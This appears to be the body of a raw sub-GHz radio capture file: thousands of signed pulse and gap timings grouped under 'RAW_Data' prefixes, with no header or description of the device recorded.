-368 365 -106 339 -128 355 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 131 -348 93 -380 353 -104 351 -140 105 -3704 131 -354 103 -394 105 -334 371 -106 337 -130 355 -94 369 -128 337 -130 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -130 -RAW_Data: 131 -346 105 -370 363 -108 337 -128 97 -3750 99 -360 93 -372 129 -338 349 -124 353 -126 337 -128 337 -128 339 -126 127 -346 353 -140 333 -94 377 -96 121 -372 101 -370 123 -352 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3720 131 -360 93 -390 103 -358 355 -106 351 -140 331 -124 359 -106 357 -108 141 -362 319 -142 355 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 367 -106 339 -128 131 -3694 131 -358 95 -390 101 -358 359 -104 349 -140 331 -124 359 -104 359 -106 107 -398 319 -140 319 -142 333 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -332 351 -140 335 -124 95 -368 141 -334 367 -106 339 -128 99 -3720 133 -358 93 -392 101 -358 357 -106 351 -140 331 -124 361 -104 357 -108 105 -398 319 -142 317 -142 335 -124 107 -376 97 -360 125 -358 329 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 337 -130 99 -3752 99 -350 137 -360 105 -336 377 -106 337 -130 355 -94 369 -128 337 -130 93 -368 365 -108 337 -130 355 -92 121 -374 101 -370 125 -352 351 -140 105 -362 105 -338 375 -108 337 -130 131 -346 105 -370 363 -108 337 -128 97 -3720 131 -360 93 -390 103 -358 357 -104 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 319 -140 333 -124 107 -376 97 -362 125 -358 329 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 99 -3720 133 -358 93 -392 101 -358 355 -106 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 317 -142 335 -124 107 -376 97 -360 125 -358 329 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 99 -3726 131 -370 105 -360 103 -382 355 -106 341 -100 363 -92 369 -128 339 -128 93 -368 367 -92 347 -136 333 -124 141 -342 135 -332 123 -374 317 -134 141 -362 105 -336 371 -106 339 -130 131 -344 139 -334 365 -108 337 -128 97 -3744 99 -380 101 -360 105 -372 347 -108 339 -132 357 -124 339 -128 339 -128 93 -368 367 -106 337 -130 355 -94 121 -374 101 -368 125 -354 351 -138 105 -362 105 -370 343 -106 339 -130 99 -380 105 -368 365 -106 337 -128 97 -3722 133 -358 93 -392 101 -358 359 -106 351 -138 333 -122 361 -104 357 -108 105 -396 319 -142 319 -142 333 -124 107 -376 97 -360 125 -358 327 -124 141 -342 135 -334 353 -138 335 -126 95 -368 139 -334 367 -106 339 -130 97 -3722 131 -360 -RAW_Data: 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 107 -396 321 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -124 143 -342 101 -366 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 97 -3722 131 -352 135 -360 105 -338 375 -106 337 -130 355 -92 369 -128 339 -128 93 -368 367 -106 339 -130 353 -94 121 -374 101 -370 125 -352 351 -140 105 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3720 133 -358 93 -392 101 -358 357 -104 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -362 123 -360 327 -122 143 -344 99 -368 351 -138 335 -126 95 -368 139 -334 367 -106 339 -128 99 -3726 131 -370 105 -360 103 -382 351 -94 359 -104 337 -124 341 -126 371 -96 123 -368 343 -124 357 -104 335 -124 123 -356 139 -334 127 -356 351 -140 105 -364 103 -370 343 -108 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 105 -398 319 -140 319 -142 335 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -368 139 -334 367 -106 339 -128 99 -3726 131 -360 93 -390 103 -356 359 -106 347 -140 331 -124 359 -104 359 -108 105 -398 319 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 333 -126 95 -368 141 -334 365 -108 337 -130 97 -3750 99 -362 91 -392 101 -394 319 -106 353 -142 333 -124 359 -104 359 -106 141 -364 319 -140 355 -106 335 -124 107 -376 97 -360 125 -358 329 -122 121 -356 139 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3746 97 -348 127 -372 95 -372 347 -124 347 -94 369 -128 337 -130 337 -126 93 -386 349 -102 337 -122 375 -94 121 -374 101 -368 125 -352 349 -104 141 -364 105 -336 377 -106 339 -128 131 -350 103 -370 347 -106 373 -100 133 -3694 131 -352 137 -360 105 -336 373 -108 337 -130 355 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -94 121 -374 101 -370 123 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 131 -358 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 319 -142 331 -124 109 -374 99 -360 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 99 -3724 131 -342 129 -372 95 -372 347 -92 383 -104 361 -106 339 -130 -RAW_Data: 355 -92 139 -342 373 -108 337 -130 355 -94 121 -374 137 -332 125 -354 351 -138 107 -362 105 -370 343 -106 339 -128 133 -346 105 -370 365 -106 337 -130 95 -3728 131 -370 103 -362 103 -380 355 -106 341 -102 363 -92 391 -104 359 -106 105 -398 321 -106 353 -140 333 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 97 -3754 99 -350 137 -360 105 -336 377 -106 339 -130 353 -94 369 -128 337 -128 95 -366 367 -108 337 -130 355 -92 121 -374 139 -332 125 -354 351 -138 107 -362 105 -368 345 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3752 99 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 105 -398 319 -142 319 -142 333 -124 109 -374 97 -362 123 -360 327 -122 143 -344 99 -368 351 -140 333 -126 95 -368 139 -334 367 -106 339 -128 131 -3690 131 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 105 -398 319 -142 319 -142 331 -124 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 139 -334 367 -108 337 -130 97 -3724 131 -358 93 -392 101 -356 357 -106 351 -142 331 -124 359 -106 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 99 -360 125 -360 325 -124 141 -344 135 -332 353 -138 335 -126 95 -366 141 -334 367 -106 339 -128 99 -3754 99 -360 93 -390 101 -358 357 -106 351 -140 333 -122 361 -104 357 -108 105 -398 319 -142 319 -140 333 -124 109 -374 97 -362 125 -358 327 -124 141 -342 135 -334 351 -140 335 -126 95 -368 139 -334 367 -106 337 -130 97 -3752 99 -382 103 -360 105 -370 345 -106 339 -130 355 -94 391 -104 359 -106 105 -362 355 -106 353 -140 333 -124 109 -374 97 -360 125 -360 327 -122 123 -354 139 -336 369 -108 337 -130 129 -350 93 -380 353 -106 349 -140 103 -3704 133 -356 101 -394 105 -336 367 -108 337 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -128 355 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -368 345 -106 337 -130 131 -348 93 -380 353 -106 349 -142 103 -3706 131 -358 101 -396 105 -334 367 -108 337 -128 353 -94 369 -96 371 -128 93 -368 365 -106 337 -130 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 375 -108 337 -130 131 -348 93 -413598 173 -302 161 -330 121 -338 379 -104 341 -124 339 -128 337 -128 339 -128 125 -346 355 -140 333 -126 317 -126 121 -374 101 -368 91 -386 351 -102 -RAW_Data: 141 -362 105 -366 343 -106 337 -130 99 -378 103 -368 365 -106 337 -130 97 -3718 131 -374 103 -362 101 -382 319 -142 341 -100 363 -92 369 -128 337 -128 95 -366 367 -92 347 -134 335 -122 143 -342 101 -366 123 -372 319 -134 139 -344 93 -366 345 -126 337 -128 125 -348 125 -372 317 -134 333 -124 143 -3714 97 -360 101 -386 105 -336 357 -140 335 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 333 -122 109 -374 97 -360 125 -360 327 -122 143 -342 99 -366 351 -140 333 -126 95 -368 139 -334 369 -106 337 -130 97 -3718 133 -358 93 -390 103 -358 357 -106 351 -138 331 -124 361 -104 357 -108 105 -398 319 -106 355 -140 333 -124 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 369 -108 337 -130 131 -348 105 -372 345 -106 371 -100 133 -3690 131 -344 127 -372 97 -372 345 -92 377 -94 369 -128 337 -130 335 -128 93 -356 347 -134 335 -122 373 -96 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 375 -108 339 -130 97 -382 93 -380 353 -104 349 -140 103 -3706 133 -356 103 -394 105 -334 367 -108 335 -130 353 -94 367 -130 337 -128 95 -368 365 -106 339 -128 355 -94 121 -374 101 -368 125 -354 349 -140 105 -364 103 -370 343 -108 337 -130 131 -346 107 -368 365 -106 337 -130 95 -3750 99 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 107 -396 321 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -122 123 -354 139 -334 371 -106 339 -130 129 -350 105 -368 347 -140 337 -100 135 -3700 131 -358 103 -356 143 -334 365 -108 337 -128 353 -94 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -336 369 -108 337 -130 97 -382 93 -380 353 -106 349 -140 105 -3702 131 -354 103 -394 105 -336 369 -106 339 -128 355 -92 369 -130 337 -128 93 -368 365 -108 337 -130 355 -92 121 -376 101 -368 125 -354 349 -140 105 -364 103 -338 375 -108 337 -130 131 -346 105 -370 365 -106 337 -128 97 -3726 131 -372 103 -360 103 -380 321 -140 341 -102 361 -94 389 -106 357 -108 105 -398 321 -104 353 -142 333 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 95 -370 139 -334 367 -108 337 -128 99 -3718 133 -350 137 -360 105 -336 375 -106 339 -128 357 -92 369 -128 339 -128 93 -368 367 -106 339 -128 355 -92 121 -374 139 -332 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 -RAW_Data: 363 -108 337 -128 97 -3722 131 -372 105 -360 103 -382 355 -106 341 -102 363 -122 339 -128 337 -130 93 -368 367 -92 347 -136 333 -124 141 -342 135 -332 123 -374 319 -134 141 -344 93 -368 343 -128 337 -126 127 -344 125 -374 317 -134 333 -124 123 -3724 99 -386 93 -372 97 -372 345 -126 349 -126 359 -104 359 -106 337 -124 145 -342 345 -108 371 -98 359 -92 139 -342 129 -360 123 -340 351 -132 105 -394 107 -334 369 -106 339 -128 99 -382 91 -380 355 -104 349 -140 105 -3706 131 -340 129 -338 129 -372 315 -124 385 -106 359 -108 337 -130 351 -94 139 -342 371 -106 339 -128 355 -94 121 -374 137 -334 125 -354 349 -140 105 -364 103 -370 343 -108 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3726 133 -370 103 -360 103 -382 319 -142 341 -100 363 -92 391 -104 359 -108 105 -348 377 -96 369 -96 369 -98 125 -368 93 -396 103 -360 347 -108 143 -342 93 -390 327 -122 359 -106 139 -358 105 -360 351 -104 361 -108 141 -3702 97 -386 95 -370 97 -372 347 -124 349 -124 339 -128 337 -128 337 -128 127 -350 351 -102 369 -92 377 -94 121 -372 103 -368 125 -352 349 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3720 131 -358 93 -392 101 -358 357 -106 351 -138 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 351 -138 335 -128 95 -368 141 -334 367 -106 337 -130 129 -3716 99 -362 93 -370 129 -340 347 -124 357 -124 337 -126 339 -128 337 -128 125 -346 355 -140 333 -126 347 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 337 -130 131 -346 107 -368 365 -108 337 -128 97 -3750 99 -360 93 -390 101 -358 357 -106 351 -142 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 123 -354 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 337 -128 97 -3720 131 -360 93 -392 101 -358 355 -106 353 -140 331 -124 361 -104 357 -108 105 -398 319 -142 355 -106 335 -124 107 -374 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 333 -126 95 -370 139 -334 367 -108 337 -130 97 -3750 99 -362 93 -390 101 -358 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -360 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -128 97 -3722 131 -360 91 -392 101 -358 -RAW_Data: 357 -106 351 -140 331 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3714 99 -346 127 -372 97 -372 347 -124 345 -94 369 -128 339 -128 337 -126 93 -386 349 -104 335 -124 375 -94 121 -372 103 -368 125 -350 351 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3726 131 -370 103 -362 101 -382 357 -104 343 -100 363 -124 359 -104 359 -108 105 -348 377 -94 371 -96 369 -98 125 -368 93 -396 103 -360 347 -108 143 -342 91 -392 327 -122 357 -140 105 -360 105 -360 349 -106 361 -142 107 -3702 131 -366 103 -360 103 -380 357 -104 343 -100 363 -124 359 -104 359 -108 105 -398 319 -140 319 -142 333 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 139 -334 367 -108 337 -130 129 -3688 131 -352 135 -360 105 -370 343 -108 337 -130 355 -94 369 -128 337 -128 95 -366 367 -108 337 -130 355 -92 121 -376 137 -332 125 -354 351 -138 107 -362 105 -370 343 -106 339 -128 133 -346 105 -370 365 -106 337 -130 95 -3726 133 -370 105 -360 103 -380 357 -104 343 -100 363 -124 337 -128 339 -128 93 -368 367 -94 379 -102 335 -124 141 -342 135 -332 123 -374 317 -136 139 -346 93 -368 343 -128 337 -126 127 -346 125 -374 317 -134 333 -124 141 -3714 99 -372 97 -372 127 -340 347 -124 361 -104 359 -106 339 -124 387 -106 105 -360 333 -126 355 -124 361 -104 103 -384 105 -360 105 -370 347 -106 141 -362 103 -344 355 -124 357 -104 141 -346 93 -368 343 -128 335 -128 127 -3706 131 -358 105 -370 99 -362 351 -140 333 -126 347 -94 369 -128 339 -128 93 -368 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 133 -346 105 -370 365 -106 337 -128 97 -3728 131 -370 105 -360 103 -380 357 -104 343 -100 363 -124 359 -104 359 -108 105 -348 377 -94 371 -96 369 -98 125 -368 93 -396 103 -360 349 -106 143 -342 93 -390 327 -122 359 -138 107 -358 105 -362 349 -106 359 -144 105 -3708 97 -386 93 -372 95 -372 347 -124 351 -124 339 -128 337 -130 337 -126 93 -384 351 -102 369 -92 375 -94 123 -372 101 -370 123 -354 351 -102 143 -362 105 -336 375 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3748 99 -360 93 -372 127 -340 347 -126 357 -124 337 -128 337 -128 339 -126 127 -346 -RAW_Data: 353 -140 333 -126 347 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -370 343 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3750 99 -360 93 -392 101 -394 321 -104 353 -142 331 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -362 123 -360 327 -122 121 -356 139 -336 371 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3752 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -104 359 -106 107 -396 321 -140 355 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 141 -334 367 -106 337 -130 131 -3716 99 -362 93 -370 129 -340 347 -124 357 -124 335 -128 339 -128 337 -128 127 -344 355 -140 333 -126 349 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 337 -130 131 -348 105 -368 365 -108 337 -128 97 -3722 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -140 335 -126 95 -368 141 -334 367 -106 337 -130 97 -3724 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 105 -398 319 -140 355 -106 335 -124 109 -374 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -352 135 -360 105 -336 375 -106 337 -130 357 -92 391 -104 357 -108 105 -398 321 -106 351 -142 333 -124 107 -376 97 -362 123 -360 327 -122 123 -356 137 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3748 99 -360 125 -340 127 -340 347 -126 357 -124 337 -128 337 -130 337 -126 127 -346 355 -138 335 -126 347 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3748 99 -362 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 95 -370 139 -334 367 -108 337 -130 129 -3720 99 -360 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -368 141 -334 367 -106 339 -128 131 -3690 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -360 125 -360 -RAW_Data: 327 -122 143 -342 135 -332 353 -140 333 -126 95 -370 139 -334 367 -108 337 -130 131 -3716 99 -362 93 -390 101 -394 321 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 371 -106 337 -130 131 -346 107 -368 365 -108 337 -128 97 -3720 133 -360 91 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -138 335 -128 95 -370 139 -334 367 -106 339 -128 131 -3692 131 -360 91 -392 101 -358 357 -106 351 -140 331 -124 361 -104 357 -108 141 -362 319 -142 355 -106 335 -124 109 -374 97 -360 125 -360 327 -122 143 -342 135 -332 353 -138 335 -126 97 -368 141 -334 365 -108 337 -130 97 -3748 99 -380 103 -360 105 -370 347 -106 371 -100 357 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -92 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 335 -126 95 -370 141 -334 365 -108 337 -130 97 -3750 99 -362 93 -390 101 -394 319 -142 319 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 121 -356 139 -334 371 -106 339 -128 133 -346 105 -370 365 -106 337 -130 95 -3750 99 -360 93 -372 127 -340 347 -126 357 -124 337 -126 339 -128 337 -128 127 -344 355 -140 333 -126 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -370 129 -340 347 -126 355 -124 337 -128 337 -130 337 -128 125 -346 353 -140 335 -124 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 97 -360 93 -392 101 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -124 107 -376 97 -360 125 -358 329 -122 141 -342 135 -334 353 -140 333 -126 95 -368 141 -334 367 -106 339 -128 131 -3718 99 -360 125 -358 103 -394 319 -140 319 -142 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -376 97 -360 125 -358 329 -122 121 -356 139 -334 371 -108 337 -130 131 -346 -RAW_Data: 105 -370 365 -106 339 -128 97 -3720 131 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 141 -344 135 -332 351 -140 335 -128 95 -368 139 -334 367 -106 339 -128 131 -3714 99 -364 123 -360 101 -394 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -376 97 -362 123 -360 327 -122 123 -354 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 133 -372 103 -360 103 -382 351 -94 359 -106 335 -124 373 -96 369 -96 125 -368 341 -126 357 -104 337 -124 121 -358 139 -336 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 107 -368 365 -106 337 -130 97 -3720 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -368 139 -334 367 -106 339 -128 131 -3716 99 -364 123 -360 101 -394 319 -142 317 -142 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -122 123 -354 139 -336 371 -106 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3722 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -126 95 -368 141 -334 365 -108 337 -130 131 -3714 99 -362 125 -338 127 -372 315 -126 359 -124 337 -128 337 -130 337 -128 125 -346 353 -140 335 -126 347 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -370 365 -106 339 -128 95 -3724 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -360 327 -122 143 -342 133 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3720 99 -384 101 -360 105 -370 345 -106 339 -130 357 -94 391 -104 357 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 335 -126 95 -368 141 -334 367 -106 337 -130 131 -3718 99 -362 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -108 337 -130 129 -3694 131 -358 93 -390 -RAW_Data: 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -344 345 -94 391 -104 357 -108 105 -348 125 -362 139 -334 367 -94 121 -370 97 -372 347 -124 351 -124 109 -342 129 -360 351 -140 333 -94 125 -3744 99 -382 103 -360 103 -370 345 -106 339 -132 357 -94 391 -104 357 -108 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 333 -126 95 -370 139 -334 367 -108 337 -130 129 -3720 99 -384 103 -360 103 -370 345 -106 339 -132 355 -94 369 -128 337 -130 93 -368 367 -106 339 -130 353 -94 121 -374 137 -334 125 -354 351 -138 105 -364 105 -368 345 -106 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3726 131 -372 105 -360 103 -382 355 -106 341 -102 363 -124 337 -128 339 -128 93 -368 367 -92 381 -102 335 -122 143 -342 135 -334 123 -374 317 -134 141 -344 95 -366 345 -126 337 -128 127 -344 123 -376 317 -134 335 -124 121 -3730 99 -384 95 -370 97 -372 347 -124 349 -126 337 -128 339 -128 337 -126 127 -352 349 -104 367 -94 375 -94 121 -374 101 -368 125 -354 349 -140 105 -364 103 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3722 133 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -360 123 -360 329 -122 141 -344 135 -334 351 -140 333 -128 95 -370 139 -334 367 -106 337 -130 99 -3750 97 -362 123 -360 103 -394 319 -140 319 -142 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 121 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3720 131 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 321 -140 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -128 95 -368 139 -334 367 -106 339 -128 131 -3722 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -336 365 -108 337 -130 131 -3690 131 -350 137 -360 105 -368 345 -106 337 -130 355 -94 391 -104 359 -106 107 -398 319 -106 353 -140 333 -124 107 -376 97 -362 123 -360 329 -122 141 -342 135 -334 353 -140 333 -128 95 -368 139 -334 367 -106 339 -128 131 -3714 99 -364 123 -360 101 -394 319 -142 355 -108 333 -124 361 -104 357 -108 -RAW_Data: 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 125 -358 329 -122 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 133 -358 95 -390 101 -358 357 -106 351 -140 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 335 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -334 353 -138 335 -128 95 -368 139 -334 367 -108 337 -130 129 -3722 99 -360 93 -392 101 -394 319 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 329 -122 141 -344 135 -332 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 97 -3750 99 -362 123 -340 129 -372 315 -124 359 -122 337 -128 337 -130 337 -128 127 -344 355 -140 333 -128 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 133 -360 93 -390 103 -356 357 -106 351 -142 331 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3752 97 -384 101 -360 105 -370 345 -106 341 -130 357 -92 391 -104 359 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -124 121 -356 139 -334 371 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3724 133 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 137 -332 351 -140 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3692 131 -354 135 -360 105 -336 373 -108 337 -130 355 -94 391 -104 357 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -360 125 -360 325 -124 141 -342 135 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3722 99 -350 137 -360 105 -368 345 -106 339 -130 355 -94 391 -104 357 -108 105 -398 319 -106 353 -142 333 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 353 -138 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3690 133 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -138 335 -128 95 -368 139 -334 367 -108 337 -130 129 -3716 101 -362 123 -360 101 -394 319 -142 355 -106 335 -122 361 -104 357 -108 141 -362 319 -142 357 -106 335 -124 107 -374 97 -362 -RAW_Data: 125 -360 327 -122 123 -356 137 -336 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 133 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 95 -368 139 -334 367 -108 337 -130 129 -3722 97 -384 101 -360 105 -370 345 -106 339 -132 357 -92 369 -128 337 -130 93 -366 369 -106 337 -130 357 -92 121 -376 137 -332 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 131 -348 105 -370 365 -108 337 -128 97 -3752 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 123 -360 329 -122 141 -344 135 -334 351 -140 333 -126 95 -370 139 -334 367 -108 337 -130 131 -3694 131 -358 93 -392 101 -356 357 -106 351 -142 331 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 